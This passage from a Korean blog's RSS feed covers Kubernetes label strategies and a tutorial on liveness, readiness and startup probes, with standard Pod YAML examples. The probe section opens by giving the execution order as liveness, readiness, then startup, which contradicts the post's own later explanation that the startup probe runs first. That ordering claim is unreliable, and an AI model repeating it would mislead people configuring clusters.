&lt;blockquote data-ke-style=&quot;style2&quot;&gt;릴리즈 버전이나 배포 상태를 레이블로 관리&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145676864&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;release=v1.0.0
deployment=blue (블루-그린 배포)
deployment=green&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;버전별 리소스 필터링&lt;/li&gt;
&lt;li&gt;Canary 또는 Blue-Green 배포 전략에 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-4) 운영 환경(Environment) 레이블링&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;운영 환경을 나타내는 레이블로 리소스를 분리&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1733145706147&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;env=development
env=staging
env=production&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;환경별 리소스를 격리하여 사고 위험 최소화&lt;/li&gt;
&lt;li&gt;테스트 및 프로덕션 환경 간 구분 명확&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-5) 소유권 및 책임 추적(Ownership) 레이블링&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;리소스의 소유자나 관리자를 나타내는 레이블&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145757005&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;owner=team-a
owner=devops
contact=dev-team@example.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리소스 문제 발생 시 책임 부서 명확화&lt;/li&gt;
&lt;li&gt;관리 및 모니터링 용이&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-6) 애플리케이션 수명 주기 관리 레이블링&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;애플리케이션 상태를 나타내는 레이블을 사용&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145905297&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;stage=alpha
stage=beta
stage=stable&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트 및 프로덕션 상태 구분&lt;/li&gt;
&lt;li&gt;개발 주기 관리에 유용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2-7) 레이블 배치 전략 결합&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이러한 전략은 쿠버네티스의 기본적인 레이블링 규칙을 따르며, 상황에 맞게 조합하여 사용하면 리소스 관리와 스케줄링 효율성을 극대화할 수 있다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145938659&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;labels:
  app: webserver
  env: production
  tier: frontend
  release: v1.0.0
  owner: team-a&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DevOps/Docker, K8s</category>
      <category>k8s</category>
      <category>label</category>
      <category>쿠버네티스</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/276</guid>
      <comments>https://cocococo.tistory.com/entry/k8s-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-%EB%A0%88%EC%9D%B4%EB%B8%94Label-%EC%84%A4%EC%A0%95-%EB%B0%8F-%EC%85%80%EB%A0%89%ED%84%B0Selector-%EB%B0%A9%EB%B2%95#entry276comment</comments>
      <pubDate>Mon, 2 Dec 2024 22:27:56 +0900</pubDate>
    </item>
    <item>
      <title>[k8s] Pod 라이브네스(Liveness), 레디네스(Readiness), 스타트업(Startup) 프로브 구성 방법</title>
      <link>https://cocococo.tistory.com/entry/k8s-Pod-%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%84%A4%EC%8A%A4Liveness-%EB%A0%88%EB%94%94%EB%84%A4%EC%8A%A4Readiness-%EC%8A%A4%ED%83%80%ED%8A%B8%EC%97%85Startup-%ED%94%84%EB%A1%9C%EB%B8%8C-%EA%B5%AC%EC%84%B1-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3001608230251687&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1732800918233&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Configure Liveness, Readiness and Startup Probes&quot; data-og-description=&quot;This page shows how to configure liveness, readiness and startup probes for containers. For more information about probes, see Liveness, Readiness and Startup Probes The kubelet uses liveness probes to know when to restart a container. For example, livenes&quot; data-og-host=&quot;kubernetes.io&quot; data-og-source-url=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&quot; data-og-url=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/xxMmT/hyXDbDkX75/SZv2D7WLksemHjueweOqq1/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373&quot;&gt;&lt;a href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/xxMmT/hyXDbDkX75/SZv2D7WLksemHjueweOqq1/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Configure Liveness, Readiness and Startup Probes&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;This page shows how to configure liveness, readiness and startup probes for containers. For more information about probes, see Liveness, Readiness and Startup Probes The kubelet uses liveness probes to know when to restart a container. For example, livenes&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;kubernetes.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;1. 프로브 실행 순서&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[라이브네스] -&amp;gt; [리디네스] -&amp;gt; [스타트업]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;2. 라이브네스(Liveness) 프로브&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;라이브네스 - 애플리케이션이 응답 상태 확인&lt;/b&gt;&lt;br /&gt;컨테이너의 상태를 주기적으로 확인하여, 컨테이너가 응답하지 않거나 비정상 상태인 경우, 쿠버네티스가 컨테이너를 자동으로 재시작하도록 돕고, &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;관리자가 직접 개입하지 않아도 애플리케이션의 가용성과 안정성을 유지&lt;/b&gt;&lt;/span&gt;할 수 있다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1) 예제 1 - 파일로 체크&lt;/h3&gt;
&lt;pre id=&quot;code_1732801468407&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  labels:
    test: liveness
  name: liveness-exec
spec:
  containers:
  - name: liveness
    image: registry.k8s.io/busybox
    args:
    - /bin/sh
    - -c
    - touch /tmp/healthy; sleep 30; rm -f /tmp/healthy; sleep 600
    livenessProbe:
      exec:
        command:
        - cat
        - /tmp/healthy
      initialDelaySeconds: 5
      periodSeconds: 5&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;위 코드는 healthy라는 파일을 만들고, 삭제하는 기능의 컨테이너이다. 여기서 Pod의 상태를 확인하는 라이브네스(Liveness) 프로브 방법은 이 healthy라는 파일이 있는지 없는지로 설정했다.(성공 시 0 반환)&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #008000; text-align: left;&quot;&gt;initialDelaySeconds: 5&lt;/span&gt;&amp;nbsp;&lt;br /&gt;Pod가 실행되고, 5초 후부터 라이브네스 체크&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #008000; text-align: left;&quot;&gt;periodSeconds: 5&lt;/span&gt;&amp;nbsp;&lt;br /&gt;5초마다 점검&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2) 예제 2 - HTTP Get 체크&lt;/h3&gt;
&lt;pre id=&quot;code_1732802181307&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  labels:
    test: liveness
  name: liveness-http
spec:
  containers:
  - name: liveness
    image: registry.k8s.io/e2e-test-images/agnhost:2.40
    args:
    - liveness
    livenessProbe:
      httpGet:
        path: /healthz
        port: 8080
        httpHeaders:
        - name: Custom-Header
          value: Awesome
      initialDelaySeconds: 3
      periodSeconds: 3&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;GET으로 요청 했을 경우 응답 코드 400 미만은 정상(200대 - 정상, 300대 - 리다이렉션, 400대 - 클라이언트 오류, 500대 - 서버 오류) 그 외는 컨테이너를 재시작한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;3. 레디네스(Readiness) 프로브&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;레디네스 - 애플리케이션이 완전한 초기화와 준비 상태를 마치고 실제 요청을 처리할 준비가 된 상태 확인&lt;/b&gt;&lt;br /&gt;레디네스 프로브는 &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;Pod&lt;/b&gt;&lt;b&gt;가 요청을 처리할 준비가 되었는지 확인&lt;/b&gt;&lt;/span&gt;한다. 프로브가 실패하면 해당 파드는 서비스의 로드 밸런싱 대상에서 제외되어, 비정상적인 파드로 인해 요청 처리가 실패하는 것을 방지한다. 프로브가 다시 성공하면 파드는 로드 밸런싱 대상에 다시 포함된다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-1) 예제 1 - TCP 소켓 체크&lt;/h3&gt;
&lt;pre id=&quot;code_1732802572142&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  name: goproxy
  labels:
    app: goproxy
spec:
  containers:
  - name: goproxy
    image: registry.k8s.io/goproxy:0.1
    ports:
    - containerPort: 8080
    readinessProbe:
      tcpSocket:
        port: 8080
      initialDelaySeconds: 15
      periodSeconds: 10
    livenessProbe:
      tcpSocket:
        port: 8080
      initialDelaySeconds: 15
      periodSeconds: 10&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;라이브네스 프로브를 TCP 소켓 통신으로 확인하면, 포트가 열려있기만 해도 응답 가능한 상태라고 판단하고, 레디네스 프로브는 애플리케이션이 완전하게 초기화되어서 외부 요청을 처리할 준비가 되었는지를 확인하게 된다.&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;4. 스타트업(Startup) 프로브&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;스타트업 프로브는 &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;애플리케이션이 초기화되는 시간을 보장하기 위해 사용&lt;/b&gt;&lt;/span&gt;된다. 애플리케이션이 시작되기 전에 라이브니스와 레디네스 프로브가 작동하면, 초기화 시간 동안 컨테이너를 비정상으로 잘못 판단하여 재시작하는 등의 문제를 초래할 수 있다. 스타트업 프로브는 이를 방지하기 위해 초기화가 완료될 때까지 라이브니스와 레디네스 프로브를 비활성화하고, 애플리케이션 시작 후 정상적인 상태 확인 프로세스를 이어갈 수 있도록 한다&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1) 예제 1 - HTTP GET 체크&lt;/h3&gt;
&lt;pre id=&quot;code_1732803614225&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ports:
- name: liveness-port
  containerPort: 8080

livenessProbe:
  httpGet:
    path: /healthz
    port: liveness-port
  failureThreshold: 1
  periodSeconds: 10

startupProbe:
  httpGet:
    path: /healthz
    port: liveness-port
  failureThreshold: 30
  periodSeconds: 10&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;위 예제 처럼 스타트업(Startup) 프로브와 라이브네스(Liveness) 프로브가 HTTP GET으로 동작할 때, 스타트업 프로브가 애플리케이션의 초기화 과정이 완료되었는지 확인하기 전에 라이브네스 프로브가 동작하면, 초기화가 완료되지 않은 상태에서 응답이 비정상적으로 나올 수 있다. 이 경우 Kubernetes는 애플리케이션이 정상적으로 동작하지 않는다고 판단하고 컨테이너를 재시작할 수 있다.&lt;br /&gt;따라서, &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;애플리케이션의 시작 시간이 오래 걸리는 경우, 스타트업 프로브를 사용하&lt;/b&gt;&lt;/span&gt;여 애플리케이션이 완전히 시작될 때까지 라이브네스 프로브가 동작하지 않도록 설정하는 것이 중요하다. 스타트업 프로브가 성공적으로 실행된 후에야 라이브네스 프로브가 동작하게 하여, 애플리케이션이 준비되지 않은 상태에서 불필요하게 재시작되는 문제를 방지할 수 있다.&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #008000; text-align: left;&quot;&gt;failureThreshold : 30&lt;/span&gt;&amp;nbsp;&lt;br /&gt;30번 검사&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #008000; text-align: left;&quot;&gt;periodSeconds : 10&lt;/span&gt;&amp;nbsp;&lt;br /&gt;10초 간격 수행&lt;/li&gt;
&lt;li&gt;30번을 10초 간격으로 수행하기 때문에 총 300초 후에도 컨테이너가 정상 동작 하지 않는경우 종료(300초 동안 컨테이너가 실행되는 시간을 준다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DevOps/Docker, K8s</category>
      <category>k8s</category>
      <category>liveness</category>
      <category>Probe</category>
      <category>readiness</category>
      <category>startup</category>
      <category>쿠버네티스</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/275</guid>
      <comments>https://cocococo.tistory.com/entry/k8s-Pod-%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%84%A4%EC%8A%A4Liveness-%EB%A0%88%EB%94%94%EB%84%A4%EC%8A%A4Readiness-%EC%8A%A4%ED%83%80%ED%8A%B8%EC%97%85Startup-%ED%94%84%EB%A1%9C%EB%B8%8C-%EA%B5%AC%EC%84%B1-%EB%B0%A9%EB%B2%95#entry275comment</comments>
      <pubDate>Thu, 28 Nov 2024 23:37:51 +0900</pubDate>
    </item>
  </channel>
</rss>